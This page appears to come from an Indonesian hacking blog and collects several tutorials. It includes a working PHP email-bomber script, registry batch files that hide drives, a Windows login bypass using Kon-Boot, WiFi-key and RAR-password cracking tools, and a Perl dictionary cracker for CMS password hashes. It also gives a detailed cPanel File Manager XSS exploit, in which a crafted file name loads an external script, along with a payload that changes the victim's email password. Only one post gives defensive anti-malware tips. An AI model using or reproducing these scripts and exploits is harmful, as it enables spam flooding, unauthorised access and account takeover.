HXHACKER-Hacker University

HxHacker berisi tentang Tutorial dan Artikel terkait dalam bilang Komputer (Hacking, Virus, dll).

Hacking

Tutorial Hacking dalam HxHacker berkaitan dengan celah keamanan pada sistem komputer.

Membuat Virus

Tutorial Pembuatan Virus dalam HxHacker adalah membuat virus dengan skirpt - skript yang terdapat pada sebuah virus sehingga menjadi virus baru.

Selasa, 09 Oktober 2012

E-mail Bomber Script

Ketika anda membuka e-mail dan ketika melihat inbox, terkadang terdapat pesan tidak dikenal yang jumlahnya banyak. hal tersebut terkadang mengganggu pemilik e-mail yang menunggu pesan yang penting. Barangkali hal tersebut disebabkan oleh skript yang satu ini. Berikut adalah Skriptnya:



<html>
<body>
<form method=post action=index.php>
<pre>
<input type=hidden value=ok name=ok>
Dari : <input name=dari value=”<? echo $dari;?>”>
Kepada : <input name=kepada value=”<? echo $kepada;?>”>
Jumlah : <input name=jumlah value=”<? echo $jumlah;?>”>
Isi Pesan: <textarea name=isi><?echo $isi?></textarea><br>
<input type=submit value=Booom>
</form></pre>
<?
if ($ok==”ok”)
{
for ($i=0;$i<$jumlah;$i++)
{
$a=$i.$dari;
mail($kepada,$isi,”",”From : $a <$a>”);
}
echo (“Beres Bos”);
}
?>
</body>
</html>



Note: alamat e-mail yang dimasukan harus benar.

Simpan dalam ekstensi ".php". contoh hxhacker.php.

Masukan/upload pada situs anda, contoh: namasitus.com/hxhacker.php.



__________________________________________________________________
Artikel ini hanya untuk pembelajaran.

Segala tindakan yang diakibatkan oleh artikel ini diluar dari tanggung jawab admin.





Zeke hack {Trickster}




Rabu, 19 September 2012

Mengamankan Komputer dari Spyware, Malware dan Virus



Ketika anda bekerja melalui komputer pasti anda menginginkan bekerja pada komputer yang aman. Tidak terdapat mata-mata (Spyware) dan perangkat  jahat ( Malware dan Virus). hal tersebut dapat dicegah dengan beberapa cara berikut:


Virus


Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Bekerja Merusak dan mengganggu kinerja sistem. beberapa cara mencegah masuknya virus:



1. Matikan autorun agan virus tidak dapat jalan dengan otomatis.



2. Waspadai semua Drives yang terhubung dengan komputer (Contoh:Flashdisk), dengan menscan atau membersihkan dengan AntiVirus.


3. Simpan salinan Registry yang masih bersih pada path tertentu. Jadi Jika sewakaktu-waktu registry anda terserang virus, anda bisa menggunakan salinan registry.


4. Backup data dengan menggunakan system restore.


5. Gunakan AntiVirus yang terpercaya. (Rekomendasi: Microsoft Security Essential, Kaspersky, AVG, Avast).

Malware


Malware adalah perangkat lunak yang bertujuan memberikan masalah pada komputer dengan cara membatasi, mengubah dan memberhentikan kinerja komputer. Dengan tujuan umum untuk proses download dan installasi tersembunyi yang membingungkan.beberapa cara mencegah masuknya malware:


1. Berhati-hatilah pada program yang mencurigakan, karena biasanya telah disisipi malware.


2. Waspada dalam Mendownload atau Menginstal Program yang belum dikenal.



3. Waspada dalam menjalankan file bernama Crack atau Patch yang biasanya sudah disisipi malware.




4. Gunakan AntiVirus yang terpercaya. (Rekomendasi: Microsoft 
Security Essential, Kaspersky, AVG).

Spyware



Spyware adalah jenis program yang menyerang komputer dengan memata-matai komputer. spyware dan malware memiliki kesamaan yaitu kemampuan untuk mengumpulkan dan mendistribusikan informasi pribadi tanpa izin Anda. Spyware juga dapat mengirim dan membuat sumber daya komputer dan informasi yang tersedia untuk penerima tidak dikenal atau pengguna remote tanpa sepengetahuan atau izin. beberapa cara mencegah masuknya spyware:


1. Jangan membuka link tidak dikenal, karena ada kemungkinan telah disisipi spyware.
2. Gunakan Perangkat Firewall untuk mengatasi Backdoor Trojan.
3. Berhati-hatilah dalam membuka pesan e-mail yang tidak dikenaliataupun direct url yang ada didalamnya.
4. Gunakan AntiVirus yang terpercaya. (Rekomendasi: Microsoft Security Essential, Bit Defender, Kaspersky).


__________________________________________________________________ 


Zeke hack {Trickster}







Rabu, 12 September 2012

Hiren's Boot ( Masuk Windows Tanpa Password )

Hiren's Boot adalah sebuah aplikasi yang dapat membypass password pada windows. dengan memburning aplikasi tersebut pada cd maka pada proses booting tidak akan berjalan seperti biasanya. Aplikasi ini juga bisa mengubah password tanpa masuk terlebih dahulu ke akun tertentu. Berikut adalah cara menggunakan Hiren's Boot untuk masuk windows tanpa password:


1. Download Hiren's Boot 11.0 disini. lalu burning ke cd kosong.

2. Pada saat booting ( Komputer baru menyala ), pastikan prioritas booting pada CD dengan masuk ke menu BIOS. (seperti gambar berikut)


3. Pada menu BIOS tekan F10 untuk Save and Quit.

4. Setelah Booting berjalan akan ada tampilan seperti gambar berikut.

5. Pilih menu Kon-Boot. beberapa saat kemudian anda akan masuk ke windows.


__________________________________________________________________
----Tutorial hanya untuk pembelajaran, segala tindakan dikarenakan tutorial ini diluar tanggung jawab admin----



Zeke hack {Trickster}







Sabtu, 09 Juni 2012

Make Drives Invisible ( Membuat Drive Hardisk Tidak terlihat )

Ketika hardisk terhubung dengan komputer maka akan muncul drives pada explorer. drive tersebut menggambarkan isi hardisk dan kapasitasnya. Drive tersebut juga mempunyai nama dan tersusun dari C-Z, contoh: Data (C:). Dalam artikel ini akan dijelaskan bagaimana menyembunyikan drive sehingga tidak dapat terlihat dan juga mengembalikannya seperti semula. Bagi pemula kehilangan drive adalah masalah besar, karena mereka akan kehilanagn file mereka, padahal file tersebut hanya disembunyikan. Berikut adalah caranya:


1. Buka Notepad

2. Copy dan Paste skript Berikut:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".bat", misal Hx.bat.


Cara mengembalikan seperti semula:


1. Buka Notepad

2. Copy dan Paste skript Berikut:





REG DETELE HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n


REG DETELE HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".bat", misal Hx.bat.


__________________________________________________________________




Zeke hack {Trickster}

Selasa, 24 April 2012

Hack Password WiFi

Ketika seseorang memasukan password WiFi ke sebuah komputer, password tersebut akan tersimpan secara otomatis dalam format XML (Extensible Markup Language). Password tersimpan dalam file tersebut dengan bahasa hexadesimal, tepatnya di C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces. Untuk menerjemahkannya anda perlu aplikasi WirelessKeyView.

Untuk mendownload Aplikasi tersebut klik disini.


 Aplikasi tersebut akan menerjemahkan file WEP, WPA, dan WPA2. Alikasi ini dapat membuat laporan password dalam bentuk HTML.


__________________________________________________________________




Zeke hack {Trickster}

Sabtu, 07 April 2012

RAR Password Cracker

File rar atau arsip adalah file yang sering dijumpai dalam aktifitas mendownload atau upload. namun keungguan dari file yang diarsip ke file rar adalah file dapat dikunci atau di password. Namun jangan khawatir, sebuah program pasti ada celah atau kelemahannya. Apliksi bernama Rar Password Cracker dapat mengakasi file rar yang di password. Berikut adalah cara penggunaannya:


1. Instal Aplikasi, download disini.
Password for IDWS : Trickster77

2. Jalankan aplikasi.

3. Pilih option Creat new project lalu tekan next.

4. Load file rar yang ingin di crack, lalu tekan add project kemudian klik next.

5. Pilih opsi serangan.

6. Pilih Dictionary Attack jika anda sudah mempersiapkan kemungkinan password yang ada berekstensi "txt". Jika ingin penyeragan secara acak pilih Bruteforce Attack.

__________________________________________________________________




Zeke hack {Trickster}

Jumat, 03 Februari 2012

Resource Hacker










Resource Hacker adalah software untuk membongkar atau mengubah bahasa atau tampilan program. Software ini dapat mengubah tampilan suatu program bahkan program dasar windows yaitu Windows Explorer. Software ini bisa membaca file berekstensi ".exe" dan ".dll" .


Cara Kerja:
1. Buka Resource Hacker.
2. Klik File>Open.
3. Anda tinggal mengubah penamaan/tata bahasa dalam Program tersebut.
4. Simpan File yang sudah di edit.



















Mengganti Ikon/Cursor/Bitmap
1. Klik Action.
2. Klik Replace Icon/Cursor/Bitmap.
3. Pilih file yang ingin dimasukan.
4. Klik Replace.

Download Resource Hacker


__________________________________________________________________




Zeke hack {Trickster}

Selasa, 06 Desember 2011

Multiple CMS Hash Cracker

Berikut ini adalah source untuk MD5/SHA-1 Cracker yang dibuat untuk Crack Content Management System Hash seperti Joomla, WordPress, Drupal, Dsb.


#!usr/bin/perl
use Digest::MD5 qw(md5_hex);
use Digest::SHA1 qw(sha1_hex);

# Author: localh0t
# Date: 09/06/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch

# Help

if(!$ARGV[7])
{
print “\n\n###########################################”;
print “\n# Multi CMS Hash Cracker v0.1 by localh0t #”;
print “\n###########################################”;
print “\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF\n\n”;
print “Note: Worlists must end with .txt or .lst (or any extension)\n\n”;
print “Support:\n========\n”;
print “VB : md5_hex(md5_hex(password).salt) | (vBulletin)\n”;
print “SMF : sha1_hex(user.password) | (Simple Machines Forum)\n”;
print “IPB : md5_hex(md5_hex(salt).md5_hex(password)) | (Invision Power Board)\n”;
print “JOOMLA : md5_hex(password.salt) | (Joomla 1.x)\n\n”;
exit(0);
}

# Functions

sub ipb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($salt).md5_hex($password));
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub vb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($password).$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub smf_cracker{
my $hash = shift;
my $user = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = sha1_hex($user.$password);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub joomla_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex($password.$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

my ($dir, $hash, $salt, $cms, $arg);

foreach $loop (@ARGV) {
for ($loop) {
/^-d$/ and do { $dir = $ARGV[($arg+1)]; last; };
/^-h$/ and do { $hash = $ARGV[($arg+1)]; last; };
/^-s$/ and do { $salt = $ARGV[($arg+1)]; last; };
/^-c$/ and do { $cms = $ARGV[($arg+1)]; last; };
}
$arg++;
}

# Main

print “\n[!] Cracking $hash with $salt as username/salt…\n\n”;

opendir(DIR, $dir) || die “\n[-] Folder not found\n\n”;

while($file = readdir(DIR)) {
if ($file ne ‘.’ and $file ne ‘..’) {
$FILES[$clean] = $file;
$clean++;
}
}

for ($cms) {
/^IPB$/ and do { $result = &ipb_cracker($hash,$salt,$dir); last; };
/^VB$/ and do { $result = &vb_cracker($hash,$salt,$dir); last; };
/^SMF$/ and do { $result = &smf_cracker($hash,$salt,$dir); last; };
/^JOOMLA$/ and do { $result = &joomla_cracker($hash,$salt,$dir); last; };
/^.$/ and do { print “[-] CMS not available\n”; exit(0); last; };
}

print $result;

# Exit

close(DICT);
closedir(DIR);
exit(0);

__END__



Cara Penggunaan:

1. Install Perl Di Komputer Anda, Dengan Mendownload Perl. Untuk Linux Biasanya Sudah Terinstall, Download Disini: http://www.activestate.com/activeperl/downloads
2. Simpan File Tersebut “cmsdir.pl“
3. Ikuti Langkah Berikut:

















__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}

Jumat, 18 November 2011

Serangan Cpanel File Manager XSS

Cpanel adalah aplikasi pengelolaan hosting yang sangat vital karena dengan aplikasi ini seseorang bisa mengelola semua hal yang terkait dengan hosting antara lain website, email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting) pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang login dalam cpanel, kemudian menjalankan script dengan hak yang sama dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel versi 11.24.4-CURRENT, diuji coba dengan browser Firefox 3.0.7.

CPanel File Manager










Cpanel terdiri dari berbagai macam aplikasi, salah satunya adalah file manager, yang berfungsi untuk mengelola file dalam account hosting. Dengan file manager, seorang pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu “File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress, ekstrak pada versi modernnya.
standard file manager










legacy file manager










Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan terhadap serangan XSS. File manager cpanel tidak memfilter nama file yang ditampilkan di web sehingga attacker bisa menginjeksi script atau kode html dengan cara membuat file dengan nama yang mengandung kode html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih berbahaya karena hanya dengan melihat nama filenya saja malicious code yang dikirimkan attacker akan dieksekusi browser. Dalam file manager yang standard, cpanel berhasil memfilter karakter berbahaya dari nama file sehingga malicious code tidak dieksekusi dalam halaman daftar file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy, move, code/html editor,compress, change permission. Agar malicious code attacker dieksekusi browser, korban harus memilih file tersebut dengan checkbox, kemudian melakukan salah satu diantara: delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa lagi selain melihat daftar file dalam suatu folder. Oleh karena itu dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke Legacy File Manager namun dengan exploit yang bisa bekerja di kedua jenis file manager.

Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM menampilkan nama file dalam daftar file di web. Gambar di bawah ini menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
File list in legacy file manager










Ada dua file yang saya jadikan contoh di atas, yaitu:
src=notexist.jpg>
filenametestonly
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
  1. Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&amp;file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter &gt; agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
  2. Bila nama file mengandung karakter double quote ("), maka akan diawali dengan backslash menjadi \". Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
  3. Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256 karakter. Karakter yang terlarang digunakan salah satunya adalah slash (/). Oleh karena itu attacker harus bisa membuat serangan dengan nama file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter slash.

Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
  • Panjang maksimum 256 karakter.
  • Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya mengandalkan 256 karakter saja, attacker harus membuat browser me-load external script. Sayangnya penggunaan tag script tidak dimungkinkan karena tag ini menuntut digunakannya tag yang mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
  1. Menginjeksi javascript dalam tag img
  2. Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini sifatnya tunggal, tidak perlu ditutup dengan tag . Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan script dalam atribut onError, yang artinya bila image dalam tag img ini gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan cara ini maka agar script dalam onError selalu dieksekusi, maka saya harus membuat image selalu gagal diload. Itu mudah saya hanya perlu mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam nama file, melainkan ditulis oleh javascript dalam tag img dengan fungsi document.write(). Fungsi document.write meminta masukan berupa string, yang nantinya akan kita isi dengan tag script. Karena masukannya berupa string, maka saya bisa pakai fungsi String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan adalah: http://zeke-hack.blogspot.com/x.js . Sehingga script dalam tag img harus membuat tag berikut dengan fungsi document.write():


<script src="http://zeke-hack.blogspot.com/x.js">
</script>



Deretan angka pada fungi String.fromCharCode adalah kode ASCII dari masing-masing karakter dari script tag yang akan meload external script. Javascript tersebut harus dimasukkan ke dalam atribut onError dari tag img. Jadi tag img yang akan dipakai untuk meload external javascript adalah berikut ini:

Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut href dari tag A sehingga browser tidak menganggap ada tag image. Agar attacker bisa menginjeksi tag img dengan benar, maka tag A yang melingkupi harus ditutup dulu. Cara menutupnya adalah dengan menambahkan dua karakter: “>

Gambar di atas adalah penjelasan mengapa diperlukan double quote dan > di awal. Dalam gambar diberikan 3 contoh, dari nama file yang normal, kemudian nama file dengan tag img, dan terakhir diawali dengan double quote dan greater than (“>). Nama file tanpa diawali “> akan menjadi bagian dari atribut href dari tag A, namun bila diawali dengan “> maka karakter sesudah 2 karakter itu sudah bukan bagian dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan dijadikan serangan harus diawali dengan “> sehingga nama file akhir yang harus dibuat untuk melakukan serangan adalah:








Dalam gambar di atas saya menunjukkan cara membuat file dengan nama yang mengandung tag img dari console Linux. Membuat file bisa juga dilakukan dengan upload file bila di web tersebut memberikan kebebasan penggunanya untuk upload misal untuk gambar profil atau album foto. Setelah file yang namanya mengandung exploit xss dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat daftar file dalam folder tempat exploit xss berada, maka script attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna berbuat sesuatu lagi.






Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard file manager. Hanya saja bedanya script yang diinjeksi attacker hanya bisa dieksekusi bila korban memilih file tersebut lalu melakukan: delete,edit,rename,copy,move,compress,change permission. Bila korban memakai standard file manager, kemungkinan code dieksekusi tidak sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file manager seperti pada gambar berikut:
file list not vulnerable


Memang file list tidak vulnerable, namun bila korban memilih file tersebut, kemudian memilih salah satu diantara: delete,copy,move,rename,change permission,compress, maka script akan dieksekusi seperti pada gambar berikut:
remote script executed



Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa dilancarkan secara lokal, setidaknya harus memiliki akses membuat file. Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu skenario yang mungkin adalah:
Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi.

Example Payload: Changing Victim Email Address

Setelah berhasil membuat browser mengeksekusi remote script, kini saya bebas mengisi script dengan apa pun yang saya inginkan. Dalam artikel ini saya akan memberi contoh script untuk mengubah password email korban dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan current password, pengguna hanya perlu memasukkan password baru saja. Oleh karena itu saya bisa membuat script yang melakukan submit form tersebut. Script untuk mengubah password email korban adalah:


var http_request = false; function makePOSTRequest(url, parameters) { http_request = false; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type //http_request.overrideMimeType('text/xml'); http_request.overrideMimeType('text/html'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; http_request.open('POST', url, true); http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http_request.setRequestHeader("Content-length", parameters.length); http_request.setRequestHeader("Connection", "close"); http_request.send(parameters); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { //alert(http_request.responseText); result = http_request.responseText; alert(result); } else { alert('There was a problem with the request.'); } } } var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") + "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testing") + "&domain=" + encodeURI("ilmuhacking.com" ); makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);


 
Script di atas melakukan POST request dengan fungsi AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan exploit script xss.
__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}

Minggu, 06 November 2011

Tipe Hash dan Enkripsi (SQL Ijection)


Berikut ini adalah penjelasan Hash dan Enkipsi:


Hash adalah hasil enkripsi dari sebuah password atau informasi yang dianggap penting.
Enkripsi adalah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus.

Ada beberapa tipe hash diantaranya :

1.MD4 (Message-Digest algortihm 4)
- MD4 dibuat oleh Ronald Rivest pada Oktober 1990, MD4 adalah hash function yang dipakai sebelum MD5, namun karena banyaknya kelemahan MD4 membuatnya diganti oleh MD5.
- panjang 16 bytes (32 karakter)
- contoh : 31d6cfe0d16ae931b73c59d7e0c089c0

2. MD5 (Message-Digest algortihm 5)
- MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996 (http://id.wikipedia.org/wiki/MD5)
- digunakan di phpBB v2.x, Joomla versi dibawah 1.0.13 dan digunakan oleh beberapa CMS dan forum
- panjangnya 16 bytes (32 karakter)
- contoh : c4ca4238a0b923820dcc509a6f75849b

3. MD5($pass.$salt)
- Digunakan di WB News, Joomla versi 1.0.13 dan versi diatasnya
- panjang 16 bytes (32 karakter)
- hash yang satu ini dimulai dari hashnya duluan kemudian dilanjutkan oleh saltnya
- contoh : 6f04f0d75f6870858bae14ac0b6d9f73

4. MD5($salt.$pass)
- Digunakan di osCommerce, AEF, Gallery dan beberapa CMS lainnya
- panjang 16 bytes (32 karakter)
- hash yang satu ini dimulai dari saltnya duluan kemudian dilanjutkan oleh hashnya
- contoh : f190ce9ac8445d249747cab7be43f7d

5. md5(md5($pass).$salt)
- Digunakan di vBulletin, IceBB dan cms lainnya
- panjang 16 bytes (32 karakter)
- contoh : 6011527690eddca23580955c216b1fd2

6. MD5(WordPress)
- Digunakan di wordpress
- panjangnya 17 bytes (34 karakter)
- hashnya dimulai oleh tanda $P$ kemudian dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah huruf “B”) kemudian dilanjutkan oleh saltnya (8 karakter yg disusun secara acak, dalam contoh ini saltnya adalah “12345678″) lalu dilanjutkan oleh hashnya
- contoh : $P$B123456780BhGFYSlUqGyE6ErKErL01

7. MD5(phpBB3)
- Digunakan di CMS phpBB 3.x.x
- panjangnya 17 bytes (34 karakter)
- hashnya oleh tanda $H$ lalu dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah nomor “9″), kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) kemudian dilanjutkan oleh hashnya
- contoh : $H$9123456785DAERgALpsri.D9z3ht120

8. SHA-1(Secure Hash Algorithm)
- Diciptakan oleh National Institue of Standars and Technology atau U.S. Federal Information Processing Standard digunakan oleh beberapa CMS dan beberapa forum
- panjangnya 20 bytes (40 karakter)
- contoh : 356a192b7913b04c54574d18c28d46e6395428ab

9. SHA-256(Secure Hash Algorithm)
- hashnya dimulai oleh tanda $5$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
- panjang 55 karakter
- contoh : $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi…
10. SHA-512(Secure Hash Algorithm)
- hashnya dimulai oleh tanda $6$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
- panjang 98 karakter
- contoh : $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm…

11. Base64
- algoritma yg berfungsi untuk encoding dan decoding suatu data ke dalam format ASCII. panjang maksimal 64 karakter hashnya terdiri dari A..Z, a..z dan 0..9, serta ditambah dengan dua karakter terakhir yang bersimbol yaitu + dan / serta satu buah karakter sama dengan “=”
- digunakan di beberapa forum dan CMS
- contoh : Y3liZXJfY3JpbWluYWw=

Situs untuk mengcrack hash:

http://www.md5decrypter.co.uk/ => decrypt MD5
http://www.md5decrypter.co.uk/sha1-decrypt.aspx => decrypt SHA1
http://base64-encoder-online.waraxe.us/ => decode/encode base64

Penjelasan

1.SHA-1

Dalam kriptografi, SHA-1 adalah sebuah fungsi has kriptografi yang dirancang oleh National Security Agency (NSA) dan diterbitkan oleh NIST sebagai US Federal Information Processing Standard . SHA singkatan dari Secure Hash Algorithm. Tiga SHA algoritma disusun berbeda dan dibedakan sebagai:

  • SHA-0
  • SHA-1
  • SHA-2

HA-1 menghasilkan 160-bit digest dari pesan dengan panjang maksimum (2 64-1) bit. SHA-1 adalah berdasarkan prinsip sama dengan yang digunakan oleh Ronald L. Rivest dari MIT dalam desain MD4 dan MD5 mencerna pesan algoritma, namun memiliki desain yang lebih konservatif.

Spesifikasi asli dari algoritma ini diterbitkan pada tahun 1993 sebagai Secure Hash Standard, FIPS PUB 180 standar lembaga pemerintah, oleh US NIST (Lembaga Nasional Standar dan Teknologi). Versi ini sekarang sering disebut sebagai SHA-0. Itu ditarik oleh NSA lama setelah publikasi dan telah digantikan oleh versi revisi, yang diterbitkan pada tahun 1995 dalam FIPS PUB 180-1 dan umumnya disebut sebagai SHA-1. SHA-1 berbeda dari SHA-0 hanya oleh rotasi bitwise tunggal dalam jadwal pesan yang fungsi kompresi , ini dilakukan, menurut NSA, untuk memperbaiki cacat dalam algoritma asli yang mengurangi keamanan kriptografi nya. Namun, NSA tidak memberikan penjelasan lebih lanjut atau mengidentifikasi cacat yang telah dikoreksi. Kelemahan yang kemudian dilaporkan di kedua-SHA 0 dan SHA-1. SHA-1 tampaknya memberikan resistensi yang lebih besar untuk serangan, mendukung pernyataan bahwa perubahan NSA meningkatkan keamanan.

2. X.509

Dalam kriptografi , X.509 adalah ITU-T standar untuk infrastruktur kunci publik (PKI) untuk single sign-on (SSO) dan Manajemen Privilege Infrastruktur (PMI). X.509 menentukan, antara lain, format standar untuk sertifikat kunci publik , daftar pencabutan sertifikat , atribut sertifikat , dan validasi algoritma jalur sertifikasi .

